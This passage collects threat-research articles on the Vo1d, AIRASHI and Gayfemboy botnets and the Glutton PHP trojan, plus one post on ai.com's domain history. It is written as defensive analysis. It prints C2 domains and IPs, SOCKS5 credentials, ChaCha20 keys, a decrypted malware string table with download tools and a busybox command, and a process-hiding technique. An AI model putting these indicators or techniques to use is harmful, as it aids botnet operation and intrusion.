2016年Mirai的灾难：Mirai僵尸网络让美国东海岸的互联网瘫痪，Twitter、Netflix无法访问，甚至把整个利比里亚的网络打到“断线”。它的规模不过几十万台，远不及Vo1d。

Vo1d目前主要用于个人盈利，但由于其对设备拥有完全控制能力，攻击者可以轻易将其改换用途，用于直接或间接发动大规模网络攻击，或从事其他网络犯罪活动。事实上，Cloudflare在2024年Q4全球DDoS攻击趋势报告中指出，大量Android电视和机顶盒设备已参与DDoS攻击。试想，若Vo1d被用于此类攻击，只需背后的操控者一声令下，这160万台设备就会化身洪水猛兽，让您刷不了短视频、打不了游戏，甚至冲垮银行、医院、航空等民生相关系统，影响正常生活。如此量级的僵尸网络的攻击能力甚至是国家级这个层面都难以防御，这绝不是危言耸听。

Vo1d的潜在危害不只是常规网络攻击范畴。安全社区长期以来似乎对电视、机顶盒等设备被攻陷的后果估计不足。这些设备不仅可被用于各种传统意义上的黑灰产活动，更因其作为现代社会内容传播核心媒介的角色，而承载着独特的风险。一旦电视或机顶盒被黑客操控，便可能成为不受法律法规约束的信息传播工具，肆意播送任何图像和声音内容。这种攻击方式在现实世界已有真实的案例：

2023年12月11日，阿联酋居民使用的机顶盒遭到网络攻击，正常节目被替换为显示巴以冲突的视频。
2025年2月24日，美国住房与城市发展部大楼的电视被入侵，常规内容被替换为特朗普亲吻马斯克脚趾的视频。

试想，如果被Vo1d控制的Android电视被用于传播暴力、恐怖、色情，亦或是利用当前足够以假乱真的AI技术炮制领导人的视频进行政治宣传，都会极大影响人们的正常生活秩序，危害社会稳定。

回到Vo1d样本分析，对于安全研究人员来说，如此大规模僵尸网络的新活动可遇不可求。当时我们以jddx为线索，马不停蹄地展开挖掘，收获颇丰：成功捕获了89个样本，发现了诸多基础设施，包括1个Reporter、4个Downloader、21个C2域名、258个DGA种子以及超过10万个DGA域名。为了研究此次Vo1d活动的网络规模与地理分布，我们注册了部分DGA域名。数据显示，当前Vo1d僵尸网络的日活跃IP在80万左右，2025年1月14日，连续一周日活超过150万，观测到的最大数值为1590299。

显然，Vo1d僵尸网络并未因曝光而式微，反而通过技术进化展现出顽强的生命力。正如常言所说：“僵尸永远不死，而且它们拒绝凋零”，通过对比Dr.Web博客披露的样本，我们发现Vo1d背后的团伙正在全力提升僵尸网络的隐匿性、健壮性和抗打击能力。这些改进或许正是他们从上次曝光和打击中汲取的经验教训。

以下是此次活动样本的核心变化：

通信加密增强
网络通信使用 RSA 加密，提高数据传输的隐匿性，同时保证即使DGA C2被安全研究人员注册，也不可能接管网络。
基本设施结构升级
引入了硬编码，域名生成算法（DGA）俩种形式的Redirector C2用以保护真实C2，极大增强僵尸网络的隐蔽性、灵活性和抗打击能力。
Payload 投递策略优化
每个 Payload 都配备了独立的 Downloader，其中 Payload 本身使用魔改后的 XXTEA 算法加密，其加密密钥通过 RSA 进行保护，大幅提升了对抗分析能力。

2025年，XLab指令跟踪系统成功捕获了业务相关的Payload，进一步揭示了Vo1d的运作模式: 攻击者利用受感染的Android电视设备展开的多项黑产活动，包括组建代理网络、推广广告，虚假刷量等。从Payload的功能来看，代理网络是Vo1d的核心目标之一。这一目标的商业价值已通过911s5代理的成功案例得到充分验证。根据美国司法部的消息，911S5的运营者通过出售代理服务，赚取了超过9900万美元的非法收入。随着全球执法机构对网络犯罪的打击力度不断加大，网络犯罪集团对匿名化服务的需求日益增长。而Vo1d通过控制全球范围内的海量设备构建的代理网络，相比传统代理更具吸引力，能够更好地满足匿名化和隐蔽性的需求。

综上所述，Vo1d僵尸网络凭借其百万级别的规模以及持续的技术进化，对全球网络安全构成了长期且严峻的威胁。此次攻击活动已在安全厂商的监测之外潜伏超过3个月，进一步凸显了其隐蔽性。为此，我们决定撰写本文，向社区分享研究成果，为打击网络犯罪贡献一份力量。

技术细节示例

由于篇幅原因，公众号上我们选取C2基础设施，僵尸网络规模以及罕见的xxtea魔改算法 三部分内容作为分析成果的展示，想充分了解Vo1d僵尸网络技术细节的讲者可以参阅原文。

第一部分：Tranco 1M级别的C2基础设施

C2基础设施

通过11月28日捕获的样本JDDX，我们识别了C2域名 ssl8rrs2.com 以及基于32个DGA种子生成21120个DGA C2的网络行为模式。C2绑定的 IP 3.146.93.253 是 vo1d 此次攻击活动的核心基础设施之一，该 IP 下解析了 5 个不同的域名，其中 ssl8rrs2 和其他域名已在后续捕获的样本中被进一步验证为 C2 域名。这些域名使用了不同的端口实现负载均衡，如 ssl8rrs2 使用端口 55600，而 viewboot 使用端口 55503，这种做法无疑增加网络的可靠性和抗侦测能力。

通过溯源分析，我们发现了另一个核心资产 3.132.75.97，该 IP 关联了以下 7 个域名。其中，ttss442 和 works883 两个域名已在近期捕获的样本中作为 C2出现。至于剩余的 5 个域名，综合考虑域名的格式，创建时间，我们有较高信心将其研判为Vo1d团伙的资产。

Tranco 1M排名

Tranco排名是一个用于衡量网站流行度的综合性排名系统，旨在提供更准确、更可靠的全球网站排名数据。它结合了Cisco Umbrella，Majestic，Farsight，Cloudflare Radar，Chrome 用户体验报告 (CrUX)等多个数据源，成为学术界广泛使用的工具。

在Tranco的排名中，Vo1d僵尸网络部分大部分C2都进入了全球网站排名50万之内，少数更是到了5万多名。

值得一提的是ttss442，该域名于2024年11月3日创建，在短短几个月内便冲进全球域名排名前55000。这一现象从侧面反映了Vo1d僵尸网络的庞大的规模和惊人的活跃程度。

第二部分：百万级僵尸网络规模

此次 vo1d 变种所采用的 DGA 算法与 Dr.Web 披露的早期样本完全一致，但支持的 DGA 种子数量发生了显著变化，从最初版本硬编码的 5 个种子，扩展到了变种中的 32 个，这一改动显著提升了生成域名的规模。

随着溯源工作的深入，我们陆续注册了258个DGA C2域名，从而初步掌握了 VO1D 僵尸网络的部分视野。根据收集的数据，约有 160 万设备遭到感染，覆盖全球 200多个国家和地区，2025年1月14日起，连续7天日活Bot接近150万，1月19日达到峰值1590299。

当前日活跃的 Bot 数量在80万左右，我们取2月1日到15日的数据进行统计，感染量前10的国家分别为巴西25.0%，南非13.6%，印度尼西亚10.5%，阿根廷5.3%，泰国3.4%，中国3.1%，摩洛哥2.8%，菲律宾2.2%，德国2.2%，马来西亚2.1%。此次活动中国感染量不小，日活规模超过20000。

2025年2月21日起，Vo1d的感染规模迎来一波小增长，当日从80万上升到110多万。下图为2月25日感染量前15的国家，值得注意的是印度从第29位直线上升到第2位；中国的感染量也接近5万。

第三部分：罕见的xxtea魔改算法

以下代码片段用于解密Vo1d载荷，有安全分析的读者肯定能一眼就能确定它是xxtea算法。然而我们使用尝试使用Python去解密时，却总是不对，这让我们百思不得其解。

尽管可以通过模拟或动态dump的方式获取解密后的payload，但我们作为安全研究员并不满足于黑盒式的解密。抱着打破砂锅问到底的态度，在几杯咖啡的陪伴下，我们经过仔细比对，发现Vo1d解密payload的XXTEA算法其实是一个魔改版本——它用算术右移（asr）替代了标准XXTEA算法中的逻辑右移（lsr）。我们将此魔改算法命名为asr_xxtea，并在Vo1d的各种组件都中发现了它的身影。在恶意软件开发中，对标准算法进行修改并不常见，这一发现从侧面反映了Vo1d团伙深厚的技术积累。

Vo1d还有很多有意思的技术细节，如DGA算法，RSA加密等等。对技术分析感兴趣的讲者，请访问XLab Blog，上面详细地分享了我们的发现&分析过程，以及逆向工具的使用。

https://blog.xlab.qianxin.com/long_live_the_botnet_vo1d_is_back_cn/

或者点击下方的阅读原文。不过请您做好心理准备，阅读全文大约需要45分钟，。想了解更多内幕信息的读者，可以给我们留言。

阅读原文

跳转微信打开

顶级域名ai.com认证Deepseek? ai.com的前世今生

Fri, 14 Feb 2025 12:58:00 +0800

原创 XLab 2025-02-14 12:58 北京

顶级域名ai.com认证Deepseek? 本文基于多个数据维度，带大家一步步了解 ai.com 的真实历史和现状，帮助大家从纷繁复杂的信息中辨别真伪，同时也为大家提供一些技术背景知识，以便更全面地理解这一现象。

在互联网世界中，顶级这个词常常被赋予神秘而崇高的含义。最近有媒体报道称，“顶级域名的持有者ai.com现在跳转到deepseek,表明已经认可了deepseek的能力”，之前还有一些技术背景的人士声称 ai.com已被OpenAI 收购。这些信息听起来非常专业，似乎确凿无疑，但经过仔细查证后发现，这些都是误传或错误解读。随着 DeepSeek的迅速走红，市场上鱼龙混杂的信息大量涌现，真假难辨，容易让人混淆视听。由于大规模的基础数据支持，奇安信Xlab在多个领域拥有很好的全局视野，能够实时监测互联网中的各种活动，也因此能够从数据角度解读很多网络中发生的现象。

本文正是基于我们的数据纬度，带大家一步步了解 ai.com 的真实历史和现状，帮助大家从纷繁复杂的信息中辨别真伪，同时也为大家提供一些技术背景知识，以便更全面地理解这一现象。

ai.com的前世今生

公开的whois数据显示，ai.com域名注册于1993年。

待售状态

从我们自己的数据能够看到该域名的最早信息为2014年，再之前的状态缺乏数据不可考了。

2014年之后的该域名为待售状态，并且其待售状态可以分为两部分：

其一为：从2014年10月07日～ 2019年3月这段时间，均属于 FUTURE MEDIA ARCHITECTS, INC. 公司。Future Media Architects 是一家已解散的互联网开发公司，成立于 2002 年，专注于收购和开发首屈一指的域名和 Web 资产。2019年3月该公司因为司法纠纷原因，该公司已经没有更新状态了。

其二为：2019年4月-2021年9月28日，ai.com属主进行了迁移并启用了隐私保护，从其名字服务器来看——buy.internettraffic.com, sell.internettraffic.com，可以合理猜测其仍然处在待售状态。

蹭AI热点，待售状态

从2021年9月28日开始一直到现在，该域名的名字服务器使用了clouflare的服务，正式的进入了AI时代。

整体时间线

从DNS的解析结果，也可以看出该域名的类似变迁过程。从2021年9月份进入AI时代之后，其主要解析就两个位于cloudflare的IP地址104.21.89.14和172.67.155.131，非常稳定。

CloudFlare解析的IP地址分析

我们利用passiveDNS数据（截止到2025-02-11）对ai.com解析到的Cloudflare地址进行分析发现：

在2025-01-01之后，这两个IP上承载的域名分别为1830和2157。
这些域名中，访问量比较大的看起来都是一些灰色业务，比如色情，赌博网站

此外还有一些仿冒大站的业务。如下图中就有显著的仿冒Google（qooglevideo[.]com）和微软(cdnmicrosoft[.]com)的域名的情况。

web页面历史

在internetarchive上对ai.com 的web页面历史分析。可以看出，2022年3月份的时候，ai.com的出售页面显示其在saw.com（是一家做域名生意的公司）进行售卖。从上面的passiveDNS以及whois数据来看，该域名目前仍在该公司手中。

其后该域名的指向变化较多，比如2023年2月的时候，曾经指向了一个telegram的以AI为主题的group。

从2023年2月20号开始，它就开始指向了openai，随后就不断的在多个热门的大模型/AI公司之间不停的切换。

名不副实的“顶级域名”

从数据中可以看得出来，ai.com这个域名曾经长期处于待售状态，2021年开始切入了AI时代，从其“委身”的IP地址来看，上面鱼龙混杂，其属主saw并没有将其包装出任何“顶级”属性。并且它短期内在多个不同的热门AI模型/应用之间进行切换倒流，颇有“见风使舵”的倾向。如今它跳转到deepseek也侧面说明了deepseek在当前AI界的热度。但我们完全没有必要将其奉为所谓“顶级域名”。它可能就是一个蹭热度用来自抬身价的投机者。

域名关联和热度

我们利用PassiveDNS数据可以计算域名之间的关联/伴生关系，从下图可以看出，从20250209开始，ai.com与deepseek.com开始高度关联，说明ai.com从这天开始跳转到了deepseek.com。

从我们PassiveDNS的数据来看，ai.com这个域名的访问量从20250209开始已经快速上涨。后续的热度还需要继续观察，我们希望它的上涨仅仅是因为媒体报道热起来的而不是真实的有用户在例行使用。

安全建议

从我们的数据看，ai.com其历史更多是一场投机炒作的缩影，域名始终处于待售或易变状态。这种现象在互联网历史中并不罕见，高价值域名往往成为炒作和投机的工具，实际使用中可能并不可靠。

用户千万不要把ai.com设置为自己对AI访问的入口，尤其是在生产系统中。一个是ai.com的后续的指向很有可能会变化，变化之后的新的页面/模型可能和现在的并不容见，影响自己的业务；再一个是ai.com的历史表明，其并不是一个稳定的状态，后续如果夹带其他的私货也未可知，从安全谨慎角度出发，也不建议将其设置为入口。更多信息请点击阅读原文

阅读原文

跳转微信打开

僵尸永远不死：大型僵尸网络AIRASHI近况分析

Wed, 15 Jan 2025 12:51:00 +0800

原创奇安信X实验室 2025-01-15 12:51 北京

概述

2024年8月XLab到观察一次有预谋的针对国产游戏《黑神话悟空》发行平台 Steam 和完美世界的大规模DDoS攻击事件。此次攻击行动分为四个波次，攻击者精心挑选在各个时区的游戏玩家在线高峰时段发起长达数小时的持续攻击。并且同时攻击Steam和完美世界分布在全球13个地区的上百个服务器，以实现最大的破坏效果。而参与此次攻击行动的僵尸网络当时自称为AISURU。本文将要分析的正是AISURU僵尸网络的变种版本AIRASHI。

在上述攻击事件被曝光后，AISURU僵尸网络在9月短暂收手，停止了攻击活动。但在利益的驱使下10月对他们的僵尸网络进行了更新，根据样本特征我们命名为kitty。11月底，新的变种再次出现并在样本中11月底再次更新，并将僵尸网络更名为：AIRASHI。

当前AIRASHI僵尸网络主要有以下几个特点:

使用美国Cambium Networks公司的cnPilot路由器0DAY漏洞传播样本
样本字符串使用RC4加密，CNC通信协议部分新增了HMAC-SHA256校验，使用chacha20加密
CNC域名使用xlabresearch, xlabsecurity，foxthreatnointel等关键字，调侃XLAB和安全研究人员。
稳定的T级别DDoS攻击能力
控制端的IP资源较为丰富，域名解析的IP将近60个，分布多个在不同的国家和服务商。可能是为了承载更多的BOT端和增加摧毁僵尸网络的困难程度。下图是AIRASHI CNC xlabsecurity.ru Passive DNS记录。可以看到xlabsecurity.ru这个CNC 曾经解析到144个IP，这些IP分布在19个国家，10个AS号（Autonomous System Number, ASN）。

样本传播

依托于XLab大网威胁感知系统的能力，我们观察到AIRASHI样本主要通过NDAY漏洞和TELNET弱口令传播，同时具备0DAY漏洞的利用能力。我们观察到AIRASHI自去年6月开始使用美国Cambium Networks公司的cnPilot路由器0DAY漏洞传播样本，关于该0DAY漏洞去年6月份我们联系了厂家，但是没有得到厂家任何回应。为防止漏洞滥用，本文也不会涉及此漏洞信息。AIRASHI 使用的漏洞如下：

攻击能力与攻击活动

攻击能力

僵尸网络运营者通常通过社交媒体（如 Telegram、Discord 或论坛）展示其攻击能力，目的是吸引潜在客户或威慑竞争对手。为了证明僵尸网络的攻击能力，一些僵尸网络运营者会使用第三方提供的僵尸网络攻击能力测量服务来证明。他们驱动僵尸网络去攻击这些测量服务方提供的服务器，测量服务方会统计这些僵尸网络的攻击流量大小、包速率，攻击源地理位置信息、ASN，攻击方式等信息。僵尸网络运营者获得这些统计信息后将这些信息发布到他们的社交媒体以证明他们的攻击能力。

AIRASHI僵尸网络正是通过这种方式来证明他们的攻击能力。下图是他们的一次攻击能力证明：

可以看到图上的统计

当前攻击峰值: 3.11Tbps (270.52Mpps)
测试用户ID: 66XXXXXXXX (此ID正是AIRASHI僵尸网络Telegram运营频道管理员的ID)
更新时间: 2025-01-13 20:20:04 UTC
攻击来源

AIRASHI的运营者一直在Telegram发布自己的DDoS能力测试结果，从历史数据可以看到AIRASHI僵尸网络的攻击能力稳定在1-3Tbps左右。

攻击活动

AIRASHI僵尸网络的攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、波兰、俄罗斯等地区。并无明显的强针对性。每日攻击目标几百个左右。

样本分析

AIRASHI僵尸网络样本更新频繁，拥有多个版本，部分版本除了支持主要的DDoS功能和操作系统命令执行外还支持代理服务，下文以kitty 和 AIRASHI为主要分析对象，从字串解密，C2获取，通信协议，以及支持的指令等方面入手，剖析僵尸网络的技术细节。

Part1: kitty-socks5 分析

kitty在2024年10月初开始传播，和Aisuru之前的样本相比，在网络协议方面进行精简；而在10月底使用socks5代理与C2通信，在字符串表中加密编码了250个代理和55个C2。

0x1: 字串解密

字符串解码方面变化不大，解密方法仍使用xor_bytes，仅修改了key为DEADBEEFCAFEBABE1234567890ABCDEF，字符串表项数缩减为7。

0x2: C2获取

C2获取方面，10月初删除了原先通过http获取C2ip的方法，继续使用|分割C2字符串，和之前一样每个域名都有20多个IP映射。

eg:

dvrhelpers.su|ipcamlover.ru|xlabresearch.ru|xlabsecurity.ru

但在10月底添加socks5后，字符串表添加代理项，并且C2和代理项都使用多组IP-PORT的字节序列编码。

eg:

\x7f\x00\x00\x01\x00\x50代表127.0.0.1:80

0x3: 网络协议

网络协议方面仍使用和Fodcha僵尸网络类似的switch-case进行各个阶段的处理

但在通信方面进行简化，最新样本使用socks5代理（使用身份验证）访问C2；

username: jjktkeglpassword: 2bd463maabw5

取消原先的密钥协商过程，通信流量也不再加密，上线包替换为Kitty-Kitty-Kitty，每隔2分钟向C2发生心跳包cat，C2返回meow!作为响应。

指令类型仍以DDoS为主，添加了反向shell的功能，指令格式变化不明显，仍采用了cmdtype+payload的结构，只是cmdtype的值进行更新，而DDoS相关指令新增了AttckID字段。

Part2: AIRASHI 分析

目前发现了AIRASHI的3类样本：

AIRASHI-DDoS：最早发现于10月底，功能以DDoS为主，也可执行任意指令、获取反向shell。
Go-Proxisdk: 最早发现于11月底，由Go编写的基于muxado的代理工具。
AIRASHI-Proxy：最早发现于12月初，魔改AIRASHI-DDoS的同一套源码，使用私有协议实现代理功能。

AIRASHI和AISURU存在一些相似之处，如果说kitty是AISURU的精简版，AIRASHI更像是升级版。自10月开始持续更新，在开发了简单的Go-Proxisdk后，又开发了自定义协议的代理工具AIRASHI-Proxy，似乎想要用全新的东西惊艳我们。

0x1: RC4解密字符串解密

AIRASHI和AISURU在字符串解密方面有一些共性，继续使用长度为16字节的key，解密算法使用RC4；输出字符串snow slide；使用|分割特殊字符串。Prxoy版本和DDoS版本的解密方法相同，但Prxoy版本内的字符串数量很少。

有趣的是一些未被引用的字符串似乎在回应我们之前的blog：一首包含的conga舞曲的youtube链接和舞蹈邀请，此外还希望xlab和foxnointel命名该变种为AIRASHI

0 'snow slide'1 'telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient'2 '/dvrEncoder|/dvrRecorder|/dvrDecoder|/rtspd|/ptzcontrol|/dvrUpdater'3 'cve-2021-36260.ru'4 'honeybooterz.cve-2021-36260.ru'5 'stun.l.google.com:19302'6 '/proc/'7 '/proc/self/exe'8 '/proc/net/tcp'9 '/proc/mounts'10 '/cmdline'11 '/exe'12 '/status'13 '/fd/'14 'PPid:'15 '/bin/|/sbin/|/usr/|/snap/'16 'wget|curl|tftp|ftpget|reboot|chmod'17 '/bin/login'18 '/usr/bin/cat'19 'processor'20 '/proc/cpuinfo'21 '/bin/busybox echo AIRASHI > /proc/sys/kernel/hostname'22 '/bin/busybox AIRASHI'23 'AIRASHI: applet not found'24 'abcdefghijklmnopqrstuvw012345678'25 'come on, shake your body xlab, do the conga'26 'i know you can't control yourself any longer'27 'https://www.youtube.com/watch?v=ODKTITUPusM'28 'dear researcher (xlab, foxnointel, ...), please refer to this malware as AIRASHI. thank you!'

0x2: C2获取

AIRASHI共使用了3种不同的C2获取方法：

AIRASHI-DDoS，在开发初期（10月底），使用最普通的方法，通过DNS服务器解析C2的A记录。
AIRASHI-Proxy，通过DNS服务器获取C2的TXT记录，解析明文IP和端口。
AIRASHI-DDoS，在11月底，通过DNS服务器获取C2的TXT记录，base64解密、chacha20解密4字节的IP，端口硬编码在样本中。

DNS_TXT_CHACHA20_KEY: 8E12DF8893A638354D851BCB46B5B7DC451C6F52066305AC641DE60C80D11850
DND_TXT_CHACHA20_NONCE: 941A247DDD53819F755FD59B

值得注意的是，在12月3日AIRASHI-DDoS的C2解析A记录和TXT记录同时存在，且解密后存在对应关系，可能是为了兼容之前的版本，但这让加密编码都变得毫无意义。

0x3: 网络协议

AIRASHI使用了全新的网络协议，用到的算法有HMAC-SHA256和CHACHA20，使用HMAC校验消息并使用协商后的CHACHA20_KEY加/解密消息。Proxy版本在协议部分没有使用HMAC进行消息验证，其他部分和DDoS版本保持一致。

通信过程

每条消息被分为2部分：32字节消息HMAC校验码、消息

如下图首先会发送Header部分消息，确认消息类型和消息长度，若消息长度不为0，再发送Payload部分

通信过程和之前一样使用状态码的switch-case结构控制，分为4步：

密钥协商

获取32字节的CHACHA20_KEY和Nonce，之后的消息使用chacha20加密并使用CHACHA20_KEY作为HMAC-SHA256的密钥。

密钥确认

使用chacha20加密发送消息类型为1的消息，验证返回消息类型是否为1

发送上线包

通过读取ELF头获取arch类型，上线包结构体如下

struct login{    uint8 uk1;    uint8 uk2;    uint8 uk3;    uint32 stunIP;    uint32 botid_len;    char botid[botid_len];    uint16 cpu_core_num;    uint16 arch_type;}

4. 上线确认

由C2返回消息类型为2的消息

实际产生的流量如下所示：

消息类型
AIRASHI-DDoS共支持13种消息类型，对应的处理函数在bot的代码中以数组的方式存储，一些消息类型的处理函数仍不完善，可能还在开发当中。

AIRASHI-DDoS一共支持以下13种消息类型，还保留了一些类型用于后续开发：

而AIRASHI-Proxy则只支持5种消息类型，可以看出它们前4种类型保持一致。

阅读原文

跳转微信打开

Gayfemboy：一个利用四信工业路由0DAY传播的僵尸网络

Wed, 08 Jan 2025 13:25:00 +0800

原创奇安信X实验室 2025-01-08 13:25 北京

概述

无数脚本小子怀揣着发财梦，拿着 Mirai 的源码兴高采烈地杀入 DDoS 黑产行业，幻想着靠僵尸网络大赚一笔。现实是残酷的，这些人来时满怀雄心，去时却灰头土脸，只给安全社区留下一个又一个只能活跃 3–4 天的 Mirai 变种。然而，今天的主角Gayfemboy是一个例外。

Gayfemboy 僵尸网络首次于 2024 年 2 月初被 XLab 捕获，并持续活跃至今。它的早期版本并不起眼，仅仅是一个使用 UPX 加壳的 Mirai 派生版本，毫无新意。然而，其背后的开发者显然不甘平庸，随后展开了一场激进的迭代进化之旅。他们从修改上线报文入手，开始尝试 UPX 变形壳，积极整合 Nday 漏洞，甚至自行挖掘 0day 漏洞，持续扩大 Gayfemboy 的感染规模。

到了 2024 年 11 月初，Gayfemboy 再次进化，开始利用四信工业路由器 0day 漏洞以及 Neterbit 路由器和 Vimar 智能家居设备的未知漏洞传播样本。这一发现让我们决定对该僵尸网络进行更深入的分析，于是注册了部分 C2 域名用以观察被感染的设备，以及度量僵尸网络的规模。结果显示 Gayfemboy 拥有40多个上线分组，日活跃节点已经超过 1.5 万。有意思的是，当它发现域名被我们注册后，马上对我们抢注的域名展开了DDoS攻击，相当睚眦必报。

依托于XLab大网威胁感知系统的能力，回顾Gayfemboy的演化历程，我们见证了它从一个普通的Mirai变种，一步步进化为今天拥有0day利用能力，攻击颇为凶猛，具有自身特色的大型僵尸网络。

2024年02月12日，XLAB首次发现Gayfemboy样本，使用普通upx壳
2024年4月15日，upx幻数修改为YTS\x99，开始使用gayfemboy上线报文，
2024年6月初，upx幻数修改为1wom，bot代码基本固定，偶尔新增几个C2域名
2024年8月底，样本硬编码6个C2，后3个C2是未注册的状态
2024年11月09日，观察到Gayfemboy开始使用四信工业路由0day漏洞传播样本，样本运行参数为faith2
2024年11月17日，我们注册了Gayfemboy样本中部分未注册的域名，用来观察Gayfemboy感染的设备和僵尸网络规模。
2024年11月23日，Gayfemboy的所有者发现我们注册了他的CC域名，开始定期对我们注册的域名发起DDoS攻击。
2024年12月27日，VulnCheck公开了四信工业路由器 0day的漏洞信息。

漏洞利用

Gayfemboy使用20多个漏洞和Telnet弱口令传播样本，其中包括四信工业路由0day漏洞(当前漏洞已经公布，CVE编号为：CVE-2024-12856)，部分未知漏洞涉及Neterbit和vimar设备（这部分因为漏洞未公开，为防止漏洞被滥用，本文暂且按下不表）。Gayfemboy利用的主要漏洞如下：

感染规模

BOT数量趋势

根据我们收集到的数据看，Gayfemboy僵尸网络的日活Bot IP数量在1.5万左右。

主要感染分布在中国、美国、伊朗、俄罗斯、土耳其等地区

主要感染的设备

Gayfemboy Bot连接CC时携带一个分组信息，这些分组信息是为了标识并组织被感染的设备，以便攻击者更有效地管理和控制庞大的僵尸网络。这个分组信息通常包含一些关键的标识符，例如设备的操作系统类型、或者其他识别信息。很多攻击者也喜欢用感染设备的方式来作为标识。Gayfemboy的上线分组信息是设备信息。感染的主要设备如下：

DDoS 分析

攻击目标

Gayfemboy僵尸网络的发起攻击从2024年02月至今断断续的一直有，其中去年10月和11月份攻击目标最多。每天攻击上百个目标。攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、德国、英国、新加坡等地区。攻击目标趋势如下：

攻击能力

我们将抢注的Gayfemboy域名解析到了云厂商的VPS。Gayfemboy的所有者发现后开始定期对我们注册的域名发起DDoS攻击，每次攻击时长10到30秒。云厂商发现我们的VPS被攻击后会立即将我们的VPS流量黑洞路由24小时以上，这将导致我们的VPS无法提供服务，也无法访问(我们的VPS还没有被Gayfemboy打死，就被云厂商先干死了，云厂商服务策略如此)。一旦VPS服务恢复，Gayfemboy又攻过来了。因为我们没有购买抗DDoS服务，最终选择停止解析Gayfemboy的域名。部分攻击指令记录如下图所示：

根据云厂商提供的流量监控服务可以看到Gayfemboy攻击流量可能在百G左右。

样本分析

该家族使用魔改UPX壳，早期使用的幻数为"YTS\x99"，自2024年6月之后开始使用独特幻数"1wom"

在代码方面基于Mirai进行修改：

删除Mirai字符串表，使用明文字符串
添加隐藏pid函数
修改上线包为"gayfemboy"
添加新的指令功能

为增加分析难度、保护程序，botnet开发者往往会对字符串进行加密，但该开发者似乎不重视字符串的保护，字符串全部使用明文，样本在运行后会输出"we gone now\n"，该特征从发现样本开始一直没有改变

为隐藏恶意进程，样本启动后会尝试从根目录开始查找可写入的目录，并尝试写入随机的2032字节文件test_write作为测试，成功后会删除该文件，在遇到以下目录时会跳过

/proc /sys /dev/fd /boot

当找到可写入目录时，尝试通过挂载该目录到/proc/上使该进程在/proc文件系统中不可见，以此隐藏指定的PID。

在网络协议方面，保留了Mirai的指令格式，修改上线包并添加新的指令功能：

常规的DDoS相关指令：

当收到自更新指令时，会从指令中获取下载服务器和botid，默认使用meowware.ddns.net作为下载服务器，样本中硬编码了多个下载相关的指令格式字符串

作用是使用wget从固定目录chefrvmanabat下载文件，以botid为参数执行。

当收到扫描指令时，从指令中解析多个自定义参数，如扫描端口、上报服务器、上报端口、验证返回包等

总结

DDoS（分布式拒绝服务）作为一种高度可重复使用且成本相对较低的网络攻击武器，因其能够通过分布式僵尸网络、恶意工具或放大技术，瞬间发起大规模流量攻击，对目标网络资源进行耗尽、瘫痪或服务中断，已成为网络攻击中最常见和最具有破坏力的手段之一。其攻击模式多样化、攻击路径隐蔽性强，并能通过不断变化的策略与技术手段，针对不同的行业和系统实施精准打击，从而对企业、政府机构和个人用户造成严重威胁。企事业和个人应从不同层面制定完善的防御策略降低DDoS攻击的风险，提升系统的整体抗压能力。

阅读原文

跳转微信打开

黑白通吃：Glutton木马潜伏主流PHP框架，隐秘侵袭长达1年

Tue, 10 Dec 2024 13:07:00 +0800

原创奇安信X实验室 2024-12-10 13:07 中国香港

简介

2024年4月29日，XLab 大网威胁感知系统捕获一起异常活动：IP 172.247.127.210 正在传播 ELF 版本的 winnti 后门木马。APT 相关告警的出现迅速引起了我们的注意。进一步溯源发现，该 IP 曾于2023年12月20日传播一个VirusTotal 0检测的恶意PHP文件init_task.txt ，这一线索为我们后续的调查提供了重要切入点。

以 init_task 为线索，我们进一步发现了一系列关联的恶意 PHP payload，包括 task_loader、init_task_win32、client_loader、client_task、fetch_task、l0ader_shell 等。这些 payload 的设计灵活，既可以单独运行，也可以通过 task_loader 作为入口，逐步加载其他 payload，形成一个完整的攻击框架。框架中的所有代码均在 PHP 进程或 PHP-FPM(FastCGI)进程中执行，确保实现无落地载荷的隐匿效果。至此一个未被安全社区曝光的高级PHP木马浮出水面，基于这个木马具备感染大量 PHP 文件，植入l0ader_shell的特性，我们将它命名为 Glutton，该木马的核心功能包括：

信息窃取：主机信息，包括操作系统版本、PHP版本等；宝塔敏感信息，例如用户凭据、管理接口等。
安装后门：ELF版的 winnti 后门；PHP 后门
代码注入：针对宝塔（BT）、ThinkPHP、Yii、Laravel 等流行 PHP 框架进行恶意代码注入。

Glutton基本流程图如下所示：

引发告警的ELF样本正是由Glutton的init_task组件投递，该样本与 BlackBerry 在 2020 年 4 月 28 日发布的研究报告《Decade of the RATs》中提到的后门 PWNLNX tool，以及 IntezerLabs 于 2020 年 9 月 23 日推文提及的样本几乎完全一致。

目前，大多数安全厂商已将该样本识别为 winnti 后门。作为 APT 组织 Winnti 的经典武器，其 Linux 版本自 2019 年首次被披露以来，尚未有其他黑客团体使用的相关报道。此次活动投入的C2 156.251.163[.]120在其存活时间内，能够正确响应样本的网络请求，与后门建立交互。从样本的专属性和C2的有效性来说，基本能够排除其他黑产团伙利用失活样本干扰归属研判的可能性。

样本的专属性：winnti 后门是 Winnti 组织的标志性工具，未见流传于其他黑产团伙的证据。
C2 的有效性：C2 地址能够正常交互，进一步表明此次活动是真实的攻击行为。

基于 winnti 后门的真实性和 Glutton的投递行为，从理论上可以研判 Glutton 归属于 APT 组织 Winnti。不过，从技术分析的角度来看，Glutton样本，网络通信以及基础设施存在隐匿能力不足的问题，有点失水准，具体包括：

C2 网络通信缺乏加密：协议过于基础非常容易被逆向。
Downloader 网络通信未启用 HTTPS：HTTP通信非常容易被拦截或监控。
PHP 样本缺乏加密或混淆：样本以源码形式存在，可直接阅读了解功能。
基础设施的欺骗性不强：活动投入的域名thinkphp1[.]com的伪装程度太低。

综上，尽管 Glutton 的投递行为与 Winnti 组织强相关，但其隐匿能力的不足和技术实现的简单为判断带来了不确定。在归属分析中要充分考虑了网络黑产的复杂性和防御方情报的滞后性，为避免因单一线索而形成误导性结论，我们采用保守研判方法，以中等信心将 Glutton 定性为 Winnti 组织的新武器。

黑白受害者

以请求C2 cc.thinkphp1[.]com做为被感染的标识，从我们的数据来看，受害者主要分布在中美俩地，涉及信息传输，商务服务，社会保障等行业。

